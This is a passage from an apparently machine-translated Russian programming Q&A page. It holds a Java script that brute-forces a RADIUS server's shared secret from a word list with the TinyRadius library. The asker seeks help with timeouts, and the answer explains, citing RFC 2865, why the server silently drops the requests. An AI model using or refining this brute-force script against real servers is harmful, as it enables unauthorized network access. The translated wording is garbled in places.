2016-06-20 2 views
1

Итак, у меня есть сервер RADIUS, работающий в 10.0.0.15. Я должен переборщить свою общую тайну. Я использую библиотеку Java TinyRaidus.Не удается подключиться к серверу RADIUS

Вот мой код:

String s = "big line..."; 
String[] words = s.split("\\W+"); 
     String host, userName, password; 
     userName = "admin"; 
     password = "pass"; 
     host = "10.0.0.15"; 
     int count = words.length; 
     for (String word : words) { 
      System.err.println("Left: " + count); 
      RadiusClient rc = new RadiusClient(host, word); 
      try { 
       if (rc.authenticate(userName, password)) { 
        System.out.print("Cracked. Secret is: " + word); 
        break; 
       } 
      } catch (IOException ex) { 
       Logger.getLogger(RadiusBrute.class.getName()).log(Level.SEVERE, null, ex); 
      } catch (RadiusException ex) { 
       Logger.getLogger(RadiusBrute.class.getName()).log(Level.SEVERE, null, ex); 
      } 
     } 

Однако, каждый раз, когда я запускаю это, я получаю эту ошибку:

Jun 21, 2016 12:48:28 AM org.tinyradius.util.RadiusClient communicate 
SEVERE: communication failure (timeout), no more retries 
Jun 21, 2016 12:48:28 AM radiusbrute.RadiusBrute main 
SEVERE: null 
java.net.SocketTimeoutException: Receive timed out 
     at java.net.PlainDatagramSocketImpl.receive0(Native Method) 
     at java.net.AbstractPlainDatagramSocketImpl.receive(AbstractPlainDatagramSocketImpl.java:144) 
     at java.net.DatagramSocket.receive(DatagramSocket.java:812) 
     at org.tinyradius.util.RadiusClient.communicate(RadiusClient.java:249) 
     at org.tinyradius.util.RadiusClient.authenticate(RadiusClient.java:83) 
     at org.tinyradius.util.RadiusClient.authenticate(RadiusClient.java:65) 
     at radiusbrute.RadiusBrute.main(RadiusBrute.java:284) 

Здесь я сделал не так? Спасибо.

+0

Закрыть 'rc' в блоке finally? –

+0

@ AndyTurner сделал. ничего не меняется :( –

ответ

1

Похоже, ваш сервер RADIUS молча отменил ваш запрос доступа RADIUS. В зависимости от реализации на RADIUS-сервере причина может быть одна из следующих:

  1. сервера RADIUS не имеет хозяина, где вы отправляете свои запросы от клиента в соответствии с настройками: от RADIUS RFC 2865:

    A request from a client for which the RADIUS server does not have a shared secret MUST be silently discarded.

  2. Вы посланный слишком много неудачных запросов от вашего клиента, а сервер RADIUS запретил ваш клиент по его IP-адресу и отбрасывает все последующие запросы.
  3. (маловероятно). Сервер RADIUS настроен на отбрасывание запроса с неправильным именем пользователя/паролем вместо отправки RADIUS Access-Reject
Смежные вопросы